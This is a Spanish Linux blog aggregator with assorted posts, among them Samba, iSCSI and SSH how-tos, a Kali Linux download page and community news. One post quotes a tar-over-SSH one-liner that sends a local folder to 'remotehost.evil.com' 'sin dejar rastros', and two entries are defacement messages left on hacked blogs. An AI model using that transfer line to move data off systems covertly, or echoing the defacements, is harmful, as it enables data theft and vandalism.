Linux Adictos: CentOS 6.8 ya está disponible
Linux Adictos: Comienza el desarrollo de OpenSUSE Leap 42.2

Viernes 05 de febrero de 2016

PCTux: Cupones de descuento en Argentina

Domingo 08 de noviembre de 2015

Sergio A. Alonso

Sergio A. Alonso
Bunker Blog

Taller de Linux y Ruby on Rails

Hace tiempo que no posteo en el Blog
Sepan disculpar: no solo no me he retirado, sino que gracias a mis dos últimos empleos, Belatrix y Supercanal (donde sigo trabajando) he aprendido mucho y apenas me ha alcanzado el tiempo para transmitir conocimientos nuevos
Como para no dejar completamente de lado la docencia, lanzo la cuarta edición de este Taller, con muchas novedades.
Si bien el Taller es presencial, incluye un aula virtual propia con todo lo necesario para crear los primeros algoritmos en Ruby, diseñar aplicaciones web, hacer scripting, y armar ambientes reales de producción.
El taller es muy intenso: incluye varios meta conocimientos alrededor de esta tecnología adquiridas a lo largo de 20 años de experiencia: intercambio de llaves, GIT, seteo de Apache, balanceadores de carga, debug sobre el terreno, despliegue de nodos, deploy en clouds, y una larga lista de habilidades tanto del desarrollador web como de esa nueva profesión que se viene gestando llamada DevOp.


Ejemplo del aula, la cual gracias a Screen y al fantástico Codebox IDE me permite asistir rápidamente a los alumnos:

Para los impacientes, aquí les dejo un enlace a la descripción del Taller, clase por clase: https://goo.gl/ngQ2BE

Enlace hacia la nota completa: http://goo.gl/BLyqdy

Se agradece su difusión.

Martes 13 de octubre de 2015

¿Que es QRDA? #QRDA @QRDAve

QRDA nace bajo la idea de proveer soluciones tecnológicas a distintas organizaciones sin fines de lucro, a través del apoyo de twitter.com/delbosquetech y con el respaldo de la Comunidad del Software Libre en Venezuela.

Esta idea la propone Luis Ortiz, gran amigo y compañero de trabajo. Se desarrolla en una reunión social (agua, cerveza, jugos, refresco, pizza) por lo que es considerado un evento entre panas que buscamos un mismo fin: dar apoyo con nuestro conocimiento tecnológico para desarrollar proyectos determinados.

Luis en la Charla de Inicio de QRDA

Luego de establecer las bases que sustentarían este proyecto, se fueron creando diferentes tickets en github que permitieran establecer un orden a las actividades que se van desarrollando, para luego crear las diferentes listas de correo y comenzar a trabajar.

Al final de la actividad pudimos compartir con personas que se acercaron de diferentes parte de Venezuela y que integran la Comunidad del Software Libre, gente con la cual me identifico y que se ha ganado mi respeto.

La lista de agradecimiento es extensa, son muchos los involucrados en este maravilloso proyecto que, aún y cuando está comenzando, podría asegurar que ayudará a muchas personas y tendrá un crecimiento positivo. Muchas gracias a todos.

Les dejo las redes sociales de QRDA para que también puedan seguir este proyecto y, si lo desean, puedan unirse a nosotros:

https://twitter.com/QRDAve/
https://instagram.com/qrda.ve
https://www.facebook.com/QRDA.com.ve
http://qrda.com.ve

Nuevamente Gracias por venir.

Lunes 14 de septiembre de 2015

La accesibilidad web para personas con discapacidad visual

“La Accesibilidad” hoy en día es una de las palabras más utilizadas cuando nos referimos a las persona con alguna discapacidad, más específicamente la discapacidad visual. Ésta no solamente abarca los aspectos de software y hardware, sino que además se centra en la vida misma de estas personas, cómo puede hacerse más fácil la tarea de convivir con personas que no tienen este tipo de desventaja; debido a esto, las instituciones del Estado se han interesado y comprometido a realizar medios más accesibles para ellos, así por ejemplo tenemos los pasos peatonales, incluso hoy en día hablamos de la creación de páginas web o sistemas de información accesibles. Es importante resaltar que se debe hacer un buen uso de la tecnología para poder romper las barreras que se presentan.
La construcción de estos sistemas o páginas web son de gran ayuda para las personas que viven con esta discapacidad debido a que han sido de alguna forma discriminados, sin dejar a un lado que este grupo está ya formado por más de 30 mil personas en nuestro país, esto de acuerdo a las cifras arrojadas en el censo realizado por CONAPDIS (Consejo Nacional para las Personas con Discapacidad). Es por ello que en estos momentos se debe luchar por incluir a todas estas personas en las actividades cotidianas del hombre, más específicamente en el mundo de las tecnologías, permitiéndoles conocer, por medio de páginas web por ejemplo, todo el contenido que puede ser de su interés y así pueda salir adelante de una mejor manera. El objetivo principal es que estos sistemas estén disponibles para todas estas personas y que sean incluidas en el aparato productivo de nuestro país, además de que la misión es producir, transformar e implantar bienes y servicios lo suficientemente accesibles para ellos.
La tiflotecnología ha logrado grandes avances; a nivel mundial existen organizaciones dentro de las cuales podemos mencionar a La Once (Organización Nacional de Ciegos Españoles), la cual ha sido pionera en el uso de herramientas o dispositivos que ayudan a las personas con esta discapacidad, a ser independientes. También existen escuelas destinadas a la enseñanza completa de estas personas, como son la Lighthouse International en Estados Unidos, encargada de enseñar de manera completa con la finalidad de lograr el desenvolmiento de estos; les proporcionan ayuda en cuanto a la orientación, el uso del computador, el uso del bastón, además de otras actividades, todo con la finalidad de que cada uno de ellos no pase a ser una carga para sus familias, sino que sean personas independientes y capaces de desenvolverse tanto tecnológicamente como en las relaciones de su vida diaria.
La metodología aplicada en esta investigación es documental, ya que trata de ver lo que existe hoy en día, cómo se puede mejorar y cómo se pueden crear herramientas que verdaderamente sean útiles para el trabajo diario, ya que no tendría ningún sentido desarrollar aplicaciones sin tomar en cuenta a los usuarios interesados acerca de cómo se les puede ayudar.
Palabras Claves: Hardware, Software, Software Libre, Tiflotecnología, Discapacidad, Discapacidad Visual.

Este es uno de los tantos articulo arbitrado realizado en el proceso de postgrado, luego explicare las fases y las herramientas a usar.

Sábado 12 de septiembre de 2015

Instalar Samba en Debian

Primero que nada hacemos la instalación del paquete
root@orthanc:/home/julioh# aptitude install samba

En nuestro home creamos el nombre de una carpeta que vamos a usar para compartir
mkdir share
chmod 777 share

Luego modificamos el archivo de configuración de samba

root@orthanc:/home/julioh# nano /etc/samba/smb.conf


# Samba config file created using SWAT
# from UNKNOWN (192.168.42.219)
# Date: 2014/05/15 14:19:36
[global]
server string = %h server
map to guest = Bad User
obey pam restrictions = Yes
pam password change = Yes
passwd program = /usr/bin/passwd %u
passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
unix password sync = Yes
syslog = 0
log file = /var/log/samba/log.%m
max log size = 1000
dns proxy = No
usershare allow guests = Yes
panic action = /usr/share/samba/panic-action %d
idmap config * : backend = tdb
hosts allow = 127.0.0.1, 192.168.41.0/24, 192.168.40.0/24
#hosts deny = 0.0.0.0/0
#Comentamos el HostDeny para que me acepte los rangos de ip #de nuestra red interna
#[homes]
# comment = Home Directories
# valid users = %S
# create mask = 0700
# directory mask = 0700
# browseable = No

#[printers]
# comment = All Printers
# path = /var/spool/samba
# create mask = 0777
# printable = Yes
# print ok = Yes
# browseable = No
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
[SALA]
comment = Archivos Compartidos
path = /home/julioh/share
#admin users = root, SalaP, sala01, sala02
#username = root
#hosts allow = 192.168.41.0
#read list = @users
#public = yes
#only guest = yes
#Le descomentamos para que puedan escribir
writable = yes
read only = yes
valid users = SalaP, root, sala01, sala02
write list = SalaP, root, sala01, sala02
# Lineas agregadas
# crear archivos con permisos rxw
create mask = 0700
# crear directorios con permisos rxw
directory mask = 0700

Luego Detenemos el demonio y lo volvemos a levantar
root@orthanc:/home/julioh# /etc/init.d/samba restart
[ ok ] Stopping NetBIOS name server: nmbd.
[ ok ] Starting NetBIOS name server: nmbd.
[ ok ] Stopping SMB/CIFS daemon: smbd.
[ ok ] Starting SMB/CIFS daemon: smbd.
[ ok ] Stopping Samba AD DC daemon: samba

Luego de esos podremos compartir archivos en un directorio seguro para una red interna.

Lunes 07 de septiembre de 2015

Sergio A. Alonso

Sergio A. Alonso
Bunker Blog

Shot of work's laptop




A typical work session with Arch, Mate Window Manager, Numix Theme + my own colors.

Vim Janus with Molokai theme, Oh-my-zsh with Agnoster theme, Terminator, Tig, and Fuck correct typos. 

Wallpaper is one of my favorites related to Owl's Moving Castle, downloadable from here: http://www.allmacwallpaper.com/get/iMac-21-inch-wallpapers/-Howl's-Moving-Castle-1920x1080/5226-9.jpg

Lunes 31 de agosto de 2015

Martín Albisetti

Martín Albisetti
Martin Albisetti's blog

hacked by GHoST61

hacked by GHoST61 bize her yer TRABZON :*

hacked by GHoST61 - bize her yer TRABZON :*

Jueves 02 de julio de 2015

Che … ¿y los datos?

Hace mas de un año, en abril de 2014, hice una presentación sobre Gobierno Abierto / Datos Abiertos para Libres del Sur / FAP.

En dicha presentación me enteré que dentro de la Secretaría de Desarrollo Tecnológico se había iniciado un proceso de apertura de datos de la administración municipal.

Como con todo aquello que hace el Intendente Pulti, me pareció bien la iniciativa pero me reservé las opiniones para mas adelante, ya que su costumbre siempre es patear para adelante y esperar que los reclamantes se cansen.

Ah, y también hacer mucha parafernalia y ruido con poquitas nueces.

Así fue como apareció el “Portal de Datos Abiertos” de la MGP. Y se hizo un Hackaton. Y un Concurso de Aplicaciones.

Me voy a referir al primer punto, el portal de datos abiertos.

Se suponía que allí uno iba a poder encontrar la información que necesitara sobre la Municipalidad y la ciudad, en formatos libres y abiertos, y actualizada.

Lo que realmente se encuentra (con la excepción de los datos de llamadas al 147, que parecen ser extraídas directamente del sistema que usa el call center), es todo lo que publicaron hace un año y olvidaron ahí.

Asi se ve la parte sobre datos sobre seguridad:

datos_seguridad_20150701

Así los referidos a medio ambiente:

datos_medioambiente_20150701

datos_medioambiente_osse_20150701

Los de movilidad:

datos_movilidad_20150701

Los de economía y presupuesto:

datos_economía_20150701

datos_presupuesto_20150701

Adicionalmente, en la página de Información Presupuestaria, los archivos que hasta el 2014 se publicaban en formato de planilla de cálculo, ahora han pasado a estar publicados en pdf, dificultando así cualquier análisis que uno quiera hacer, u obligando a convertirlos, con los problemas que implica cuando se tratan de datos en esquemas de tablas.

Todo sigue igual. O peor. Pero manteniendo el relato.

Domingo 17 de mayo de 2015

25 años de Internet en Argentina

patchcord_keyboardHoy es el día en que se conmemora el “día de Internet”. En realidad, el Día Mundial de las Telecomunicaciones y de la Sociedad de la Información, pero a veces es bueno simplificar un poco 😉 .

Este festejo surge de una propuesta de la Cumbre Mundial sobre la Sociedad de la Información, que pidió a la Asamblea General de las Naciones Unidas instituir el 17 de mayo como Día Mundial de la Sociedad de la Información, lo cual resultó decidido en forma afirmativa. Luego, la ITU (International Telecommunication Union) decide unificarlo con su Día de las Telecomunicaciones, dado que en esta fecha, y de eso también hoy se festejan los 150 años, se fundaba dicha unión.

Pero, lo que es la casualidad, resultó que un día 17 de mayo de 1990, en la ciudad de Buenos Aires y de la mano de Jorge Amodio, Argentina ponía en marcha su primer enlace a Internet.

Como fue que esto sucedió pueden leerlo en el blog del propio Amodio, haciendo click aquí.

También destaco este documento histórico: el e-mail en el cual se informa al administrador en USA que el enlace estaba funcionando.

>From pete Thu May 17 19:55:20 1990
>Subject: Line up ….
>To: atina!umd5.umd.edu!rcoltun (Rob Coltun)
>Date: Thu, 17 May 90 19:55:20 GMT-3:00
>
> Hi Rob,
>
> glad to contact you again, and very glad now because I’m
>looking the Cisco console showing “line up” over our link.
>
> I sent to Glenn the formal Internet Number and Autonomus
>System registration.
>
> Can you help me with the configuration of the Cisco router,
>I believe that we are able to do real networking tests ( your words
>sometime ago ) …
>
> I’ll wait your response,
>
> Best regards,
> Jorge.

Por esto es que quiero enviar mi saludo y las felicitaciones a quienes fueron los pioneros de Internet en Argentina, los que tras 25 años nos han dejado un legado de posibilidades extrarordinarias.

Gracias colegas!!!

Viernes 10 de abril de 2015

Dinno Vezzoni

Dinno Vezzoni
- GNU/Linux

Nuevo en linux. Ayuda de configuración.

Hola, soy nuevo usando linux, exactamente linux mint 17.1, y he estado intentando configurar diversas apps, para usar juegos y/o aplicaciones de Windows. He usado Wine y el problema es que no me arranca el office por ejemplo.
Ademas desconozco comandos de configuración. Alguien podria ayudarme?

Domingo 05 de abril de 2015

A 10 años del ICANN Meeting en Mar del Plata

Hace 10 años, un día 4 de abril de 2005, se iniciaba en Mar del Plata el ICANN Meeting XXII, el primero en ser realizado en nuestro país.

No fue casualidad que se haya organizado en la ciudad donde vivo. Un año antes, un grupito de marplatenses propusimos que se hiciera en nuestra ciudad y tuvimos la suerte de que los costos de alojamiento y comida estuvieran, en ese momento, bastante mas bajos que en la Ciudad de Buenos Aires, lo que nos dio ventaja en la decisión final de donde se hacía.

Y así empezó esta aventura que hoy es uno de los mas gratos recuerdos de mi vida profesional.

El evento se llevó a cabo en el Hotel Sheraton de Mar del Plata, quien tuvo que acelerar la instalación de su red inalámbrica para poder brindar la conectividad a los que terminaron siendo 604 participantes de 80 países distintos, con 60 APs

La conectividad a Internet se contrató a Comsat, quien tuvo que poner dos parabólicas de 2.5 metros de diámetro para poder brindar los 10 mbps simétricos que nos solicitaron con un rango /23 para contar con 512 Ips.

6 servidores DHCP, DNS y SMTP, con una estación de monitoreo de red, 20 PCs de uso público, transmisión en vivo de las reuniones y hasta hacer de service de los equipos que se le iban rompiendo a los miembros de ICANN.

Todo el grupo estuvo compuesto por gente de primera.

En la organización, Oscar García, del Polo Informático Mar del Plata, Antonio Harris, de Cabase, OTI Internacional en los servicios turísticos y Congress Rental en servicios de audio, video en pantalla gigante, registración, traducción, etc.

En la técnica, Steve Conte, Alexander Kulik, Tim Cole y Mike Evans, de ICANN, Guillermo Pereira Irujo, Claudio Roulliet, Alexis Bertola, Martín Salinas y yo, de Comtron, Marcelo Valencia y Hector Blanche, de Comsat, Juan Gimeno Rossi y German Paak, del Hotel Sheraton.

Y, a continuación, la “medalla” que nos quedó de recuerdo, con la firma, nada mas y nada menos, que de Vinton Cerf.

Descargar (PDF, 1.14MB)

Para el final, el agradecimiento a Ignacio Marcos, que pasó una tarde para conocernos personalmente y que terminó a un costado, tomando un mate y mirándonos ir de un lado para otro, ya que gracias a el y a esa visita este blog existe como tal.

Sábado 04 de abril de 2015

Dinno Vezzoni

Dinno Vezzoni
- GNU/Linux

Solucion a Error Initramfs en arranque de Ubuntu

Buenos días hoy les traigo la solución al problema de arranque initramfs que aveces nos arroja Ubuntu.

1. Introducir el CD Live o Usb con SO, y arrancar sin instalarlo.
2. Abrir la terminal y escribir:

Código: You are not allowed to view links. Register or Login
sudo fdisk -l
Esto mostrara las particiones, nosotros nos preocuparemos y trabajaremos con la que dice solo "Linux"

Ejemplo
Código: You are not allowed to view links. Register or Login
Disk /dev/sda: 250.1 GB, 250059350016 bytes
255 heads, 63 sectors/track, 30401 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: **********
Device Boot Start End Blocks Id System
/dev/sda1 * 1 30238 242886703+ 83 Linux
/dev/sda2 30239 30401 1309297+ 5 Extended
/dev/sda5 30239 30401 1309266 82 Linux swap / Solaris

Una vez hecho esto escribimos en la terminal lo siguiente (en mi caso es /dev/sda1)

Código: You are not allowed to view links. Register or Login
sudo fsck /dev/sda1
3. Montar esta partición, este paso pocas veces lo mencionan pero es esencial para que funcione.

Código: You are not allowed to view links. Register or Login
sudo mount /dev/sda1 /mnt
Y listo, problema resulto. Espero que les haya sido de ayuda.
Saludos,, Cronos.-

Sábado 21 de marzo de 2015

Dinno Vezzoni

Dinno Vezzoni
- GNU/Linux

Kali Linux 1.1.0 Español 2015 (Former BackTrack) (X32 / X64 Bits) (RG)

Kali Linux 1.1.0 Español 2015 (Former BackTrack) (X32 / X64 Bits) (RG)



Kali Linux es una distribución basada en Debian GNU/Linux diseñada principalmente para la auditoría y seguridad informática en general. Fue fundada y es mantenida por Offensive Security Ltd. Mati Aharoni and Devon Kearns, ambos pertenecientes al equipo de Offensive Security, desarrollaron la distribución a partir de la reescritura de BackTrack,que se podría denominar como la antecesora de Kali Linux.
Kali Linux trae preinstalados numerosos programas incluyendo Nmap (un escáner de puertos), Wireshark (un sniffer), John the Ripper (Un crackeador de passwords) y la suite Aircrack-ng (Software para pruebas de seguridad en redes inalámbricas). Kali puede ser usada desde un Live CD, live-usb y también puede ser instalada como sistema operativo principal.


Metasploit Framework

Dado que sigue una política llamada Kali Linux Network Services Policy, no tiene servicios de red, incluyendo servicios de bases de datos, corriendo desde la instalación del sistema. Entonces. se deben seguir un par de pasos para hacer funcionar Metasploit con soporte de base de datos.

Iniciar el servicio de Kali PostgreSQL. Metasploit usa como base de datos PostgreSQL por lo tanto debe ser iniciado el servicio de esta base de datos antes de empezar la ejecución de Metasploit. Para verificar que está iniciado el servicio se puede utilizar el comando ss-ant asegurándose que el puerto 5432 está a la escucha.
Iniciar el servicio de Kali Metasploit. La primera vez que se ejecuta crea una base de datos msf3. También inicia Metasploit RPC y los Web servers que requiera. Se puede ejecutar msfconsole para verificar la conectividad con la base de datos con el comando db status.
Se puede configurar el sistema para que ejecute Metasploit en el inicio.


Forensics Mode en Kali Linux

BackTrack Linux introdujo la opción Forensics Boot al sistema operativo y se vio continuada en BackTrack 5, existe al día de hoy en Kali Linux. Sirve para poner a trabajar las herramientas de software libre más populares en materia forense de forma rápida y sencilla.

Se realizaron algunos cambios importantes:

El disco duro no se utiliza en absoluto. Lo que trae como consecuencia que si existe una partición swap no va a ser usada ni se monta automáticamente ningún disco interno.
Se deshabilitó el automontado de medios removibles. Entonces, ni los pendrives ni las lectoras de CD van a ser montados automáticamente
Herramientas para pruebas de penetración

Hoy en día la cantidad de herramientas o scripts existentes, que realizan tareas similares, es inmenso.
Claramente ciertos casos pueden ser mejores que otros, o puede tratarse de preferencias personales, pero en si el universo de herramientas es enorme. Por lo tanto, mantener un repositorio, de herramientas para pruebas de penetración actualizado, puede llegar a ser una tarea sumamente difícil.


Por el motivo antes expuesto obliga al equipo de desarrollo de Kali a ser muy selectivo al momento de incorporar herramientas.

Algunos de los cuestionamientos planteados al momento de elegir una nueva herramienta son los siguientes: ¿Es útil la herramienta en un entorno de pruebas de penetración?, ¿Contiene la herramienta las mismas funciones de otras herramientas existentes?, ¿Está permitido la libre redistribución por la licencia de la herramienta?, ¿Cuántos recursos requiere la herramienta?, ¿Funcionará en un entorno “estándar”?, etcétera.

TAMAÑO: 2,92 GiB / 2,78 GiB
TIPO DE ARCHIVO: IMAGENES ISO
USAR WINRAR 5.10 PARA DESCOMPRIMIR LAS ISOS




x32 bits.

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

x64 bits.

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Editado por Jimeno. Eliminación de gif.

Domingo 01 de febrero de 2015

Martín Albisetti

Martín Albisetti
Martin Albisetti's blog

Hacked By Unknown

Hacked By Not Matter who am i ~ i am white Hat Hacker please update your wordpress

Hacked By white hat hacker

Miércoles 21 de enero de 2015

Gabriel Talavera

Gabriel Talavera
gabrieltalavera

Tar sobre SSH sin tocar el sistema de archivos local

Command Line Kung Fu es un blog de tres eminencias en informática forense que ademas de publicar interesantes retos de linea de comandos entre ellos, (cada uno en su especialidad, bash, powershell y cmd) lo hacen con mucho humor y desmenuzando en detalle los comandos utilizados. Últimamente no postean con mucha frecuencia, pero aún así hay mucho material interesante para aprender.

Una de las joyas que descubrí hace poco es la del Episodio #164, básicamente, copiar un directorio completo creando un archivo tar que escribirá a traves de SSH a un archivo remoto sin tocar el sistema de archivos local.

tar zcf - localfolder | ssh remotehost.evil.com "cd /some/path/name; tar zxpf -"

En el ejemplo, tar creará un tarball de la carpeta "localfolder" y lo extraerá en el servidor remoto remotehost.evil.com sin dejar rastros.

Domingo 18 de enero de 2015

Gabriel Talavera

Gabriel Talavera
gabrieltalavera

Como cambiar el password de una clave privada SSH

Recientemente me vi en la necesidad de cambiar el passphrase mis claves privadas para conexiones SSH, lo hice mediante ssh-keygen:







  • -p: solicita cambiar el passphrase de un archivo de clave privada, al ejecutar ssh-keygen con este parametro deberás proveer dos veces la clave anterior y dos veces la nueva.
  • -f: indica la ruta al archivo de clave privada.

Este método también sirve para establecer un passphrase a a una clave privada creada sin contraseña.

Jueves 06 de noviembre de 2014

Martín Albisetti

Martín Albisetti
Martin Albisetti's blog

Click packages and how they’ll empower upstreams

As the pieces start to come together and we get closer to converging mobile and desktop in Ubuntu, Click packages running on the desktop start to feel like they will be a reality soon (Unity 8 brings us Click packages). I think it's actually very exciting, and I thought I'd talk a bit about why that is.

First off: security. The Ubuntu Security team have done some pretty mind-blowing work to ensure Click packages are confined in a safe, reliable but still flexible manner. Jamie has explained how and why in a very eloquent manner. This will only push further an OS that is already well known and respected for being a safe place to do computing for all levels of computer skills.
My second favorite thing: simplification for app developers. When we started sketching out how Clicks would work, there was a very sharp focus on enabling app developers to have more freedom to build and maintain their apps, while still making it very easy to build a package. Clicks, by design, can't express any external dependencies other than a base system (called a "framework"). That means that if your app depends on a fancy library that isn't shipped by default, you just bundle it into the Click package and you're set. You get to update it whenever it suits you as a developer, and have predictability over how it will run on a user's computer (or device!). That opens up the possibility of shipping newer versions of a library, or just sticking with one that works for you. We exchange that freedom for some minor theoretical memory usage increases and extra disk space (if 2 apps end up including the same library), but with today's computing power and disk space cost, it seems like a small price to pay to empower application developers.
Building on top of my first 2 favorite things comes the third: updating apps outside of the Ubuntu release cycle and gaining control as an app developer. Because Click packages are safer than traditional packaging systems, and dependencies are more self-contained, app developers can ship their apps directly to Ubuntu users via the software store without the need for specialized reviewers to review them first. It's also simpler to carry support for previous base systems (frameworks) in newer versions of Ubuntu, allowing app developers to ship the same version of their app to both Ubuntu users on the cutting edge of an Ubuntu development release, as well as the previous LTS from a year ago. There have been many cases over the years where this was an obvious problem, OwnCloud being the latest example of the tension that arises from the current approach where app developers don't have control over what gets shipped.
I have many more favorite things about Clicks, some more are:
- You can create "fat" packages where the same binary supports multiple architectures
- Updated between versions is transactional so you never end up with a botched app update. No more holding your breath while an update installs, hoping your power doesn't drop mid-way
- Multi-user environments can have different versions of the same app without any problems
- Because Clicks are so easy to introspect and verify their proper confinement, the process for verifying them has been easy to automate enabling the store to process new applications within minutes (if not seconds!) and make them available to users immediately

The future of Ubuntu is exciting and it has a scent of a new revolution.

Martes 30 de septiembre de 2014

Sergio A. Alonso

Sergio A. Alonso
Bunker Blog

El Mundo Según JuanCPovE: Día de la Tierra, ese pequeño punto azul pálido en...

El Mundo Según JuanCPovE: Día de la Tierra, ese pequeño punto azul pálido en...: Siempre en este día cito a Carl Sagan y su obra "Pale Blue Dot". Una buena razón para reflexionar y cambiar de una buena vez nue...

Miércoles 03 de septiembre de 2014

Gabriel Talavera

Gabriel Talavera
gabrieltalavera

Configuracion de targets iSCSI con tgtadm

Entre los objetivos del exámen EX436, no se mencionan dispositivos de almacenamiento basados en FC o FCoE, sin embargo, un conocimiento mínimo de iSCSI es fundamental. RHEL incluye tgtd como servidor iSCSI. En esta entrada vemos una configuración básica.

En el equipo que ofrecera los dispositivos de bloque o particiones a los demás nodos del cluster, instalar el paquete scsi-target-utils:
[root@san ~]# yum install scsi-target-utils

El servicio encargado de responder peticiones iSCSI es tgtd, y se administra con los comandos tgtadm y tgt-admin. El comando tgtadm no funcionará hasta que el servicio tgtd este corriendo, iniciamos este servicio y nos aseguramos de que sea persistente.
[root@san ~]# service tgtd start
Starting SCSI target daemon: [ OK ]
[root@san ~]# chkconfig tgtd on

Creamos un target con ID 1 nombrado iqn.2014-05.lab.demo:sharedStorageTest

[root@san ~]# tgtadm --lld iscsi --mode target --op new --tid 1 --targetname iqn.2014-05.lab.demo:sharedStorageTest

A pesar de que el target iSCSI ya esta listo para contestar peticiones, aún no tiene un dispositivo de bloque asociado (que podría ser, una unidad de disco, un volumen lógico, e incluso un archivo), con el siguiente comando comprobamos que el target esta listo. Puede apreciarse que aún sin añadir un backing store ya existe la LUN 0, que sería como una controladora lógica.

[root@san ~]# tgtadm --lld iscsi --mode target --op show
Target 1: iqn.2014-05.lab.demo:sharedStorageTest
System information:
Driver: iscsi
State: ready
I_T nexus information:
LUN information:
LUN: 0
Type: controller
SCSI ID: IET 00010000
SCSI SN: beaf10
Size: 0 MB, Block size: 1
Online: Yes
Removable media: No
Prevent removal: No
Readonly: No
Backing store type: null
Backing store path: None
Backing store flags:
Account information:
ACL information:

Creamos un archivo de 1GB para utilizarlo como backing store y nos aseguramos de que este en el contexto correspondiente de SELinux:

[root@san ~]# dd if=/dev/zero of=/var/lib/tgtd/sharedLUNS/sharedStorage1.img bs=1M seek=1024 count=0
0+0 records in
0+0 records out
0 bytes (0 B) copied, 0.000229479 s, 0.0 kB/s
[root@san ~]# ls -ltrh /var/lib/tgtd/sharedLUNS/sharedStorage1.img
-rw-r--r-- 1 root root 1.0G May 12 13:21 /var/lib/tgtd/sharedLUNS/sharedStorage1.img
[root@san ~]# restorecon -R /var/lib/tgtd

Agregamos el archivo creado como backing store del target ID 1:

[root@san ~]# tgtadm --lld iscsi --mode logicalunit --op new --tid 1 --lun 1 --backing-store /var/lib/tgtd/sharedLUNS/sharedStorage1.img

Por ahora no nos adentraremos mucho en los aspectos de seguridad del protocolo iSCSI, como en su configuración por defecto tgtd no permite acceso a ningún nodo, abrimos el acceso a todos los iniciadores con el siguiente comando:

[root@san ~]# tgtadm --lld iscsi --mode target --op bind --tid 1 --initiator-address ALL

Verificamos los targets activos:

[root@san ~]# tgtadm --lld iscsi --mode target --op show
Target 1: iqn.2014-05.lab.demo:sharedStorageTest
System information:
Driver: iscsi
State: ready
I_T nexus information:
LUN information:
LUN: 0
Type: controller
SCSI ID: IET 00010000
SCSI SN: beaf10
Size: 0 MB, Block size: 1
Online: Yes
Removable media: No
Prevent removal: No
Readonly: No
Backing store type: null
Backing store path: None
Backing store flags:
LUN: 1
Type: disk
SCSI ID: IET 00010001
SCSI SN: beaf11
Size: 1074 MB, Block size: 512
Online: Yes
Removable media: No
Prevent removal: No
Readonly: No
Backing store type: rdwr
Backing store path: /var/lib/tgtd/sharedLUNS/sharedStorage1.img
Backing store flags:
Account information:
ACL information:

Para que los pasos realizados persistan a traves de reinicios, debe hacerse un dump de la configuración en ejecución y redireccionarlo al archivo targets.conf:

[root@san ~]# tgt-admin --dump
default-driver iscsi

<target iqn.2014-05.lab.demo:sharedStorageTest>
backing-store /var/lib/tgtd/sharedLUNS/sharedStorage1.img
</target>
[root@san ~]# tgt-admin --dump > /etc/tgt/targets.conf

Lunes 01 de septiembre de 2014

PCTux: Mejorar la velocidad de carga de aplicaciones con Prelink

Viernes 04 de julio de 2014

LaREPAWEB: WordPress merchandise

Viernes 06 de junio de 2014

LaREPAWEB: Concatenar filas de una tabla según la clave

Miércoles 30 de abril de 2014

LaREPAWEB: Monitoreo de Apache con Apache GUI en Windows

Jueves 04 de octubre de 2012

LugSaJu: La tecla que te salva del DESASTRE

Jueves 09 de agosto de 2012

Dear Martínez

Dear Martínez
La vida Linux

Software de mensajería instantánea Jitsi 1.0

La competencia entre los programas de mensajería instantánea a través de VoIP, video conferencia y más, es grande y todas satisfacen nuestras necesidades. Competidores somo Skype, Ekiga, lideran el poderío de uso, pero existen otras alternativas menos utilizadas por no ser famosas, pero de mejor dicción y predisposición de servicio al usuario, tal como Jitsi, antes conocido como SIP Communicator y que desde hace tan solo días, ha lanzado su nueva versión estable.

Jitsi 1.0 Software de mensajería instantánea Jitsi 1.0

El renovado Jitsi 1.0 reúne todas las funciones que se pueden encontrar en diversos programas con las herramientas VoIP, video conferencia, mensajería instantánea tanto para Windows como para Mac y GNU/Linux. Esta interfaz es sumamente cómoda y amigable, siendo intuitiva y fácil de utilizar. Es compatible con los protocolos más populares de mensajería instantánea y telefonía, pero también se le puede dar uso con las cuentas habituales de correo tales como Hotmail, Gmail o Yahoo, o bien otros como AIM, XMPP, Jabber, SIP y la posibilidad de emparejar la cuenta de la red social Facebook.

Entre sus características más destacadas se encuentra la de transferencia de llamadas atendidas o ciegas, el cambio de estado automático cuando el usuario no se encuentre utilizando el ordenador, la autoconexión, además de permitir grabar las llamadas para seguridad del usuario y el cifrado de protocolos SRTP Y ZRTP. No obstante, también permite establecimiento de conexión de medios directa mediante protocolo ICE, streaming de escritorio, almacenamiento de contraseñas cifradas, transferencia de archivos, soporte IPv6 para SIP y XMPP, etc.

 

Jueves 02 de agosto de 2012

Dear Martínez

Dear Martínez
La vida Linux

Aprende a tocar la guitarra con TuxGuitar

Un nuevo software para los amantes de la guitarra y la música, además de para aquellos aficionados que siempre quisieron aprender, existe una herramienta llamada TuxGuitar, siendo un editor visual de tablaturas y partituras de código abierto. Esta aplicación ha de ser ideal para llevarla consigo a cualquier parte. Desarrollada hace tiempo, es una idea que surgió para crear una herramienta que le haga competencia al popular Guitar Pro, pero que esta pueda ser utilizada por todo el mundo de forma gratuita.

Tux Guitar Aprende a tocar la guitarra con TuxGuitar

La herramienta de Tux Guitar es muy útil para el aprendizaje de la música y el arte de utilizar cualquier guitarra, aunque también cuenta con bajo, teclado y batería con el cual el usuario podrá aprender lo que no, o poner en práctica lo conocido en la materia. Desarrollado por la compañía Java, se puede abrir y exportar ficheros GP3, GP4 y GP5, además de ser compatible con los archivos del Guitar Pro, permitiendo que se pueda utilizar las partituras creadas para ese programa.

No solamente el Tux Guitar es un simple editor visual de partituras con el que se puede componer la música, sino también ofrece una gran variedad de efectos de sonido, soporte multipista, tempo, posibilidad de tercetos, scroll automático en la reproducción y muchas otras herramientas que lo ayudarán a formar su música tal como la disponga.

Lunes 16 de julio de 2012

Dear Martínez

Dear Martínez
La vida Linux

Nueva versión de MythTV 0.25 con soporte para Windows

El conocido reproductor de TV se ha escondido en la sombra de las noticias tecnológicas respecto a Linux durante un año y medio, sin tener novedades de ellas y varios retrasos en el desarrollo de la última versión del reproductor, por lo que MythTV anunció que ha sido liberado y trae 5200 cambios como si fuera poco. Muchos saben en qué consiste este software reproductor de TV y multimedia, por lo que les interesará saber sobre las novedades de cambios.

MythTV Nueva versión de MythTV 0.25 con soporte para Windows

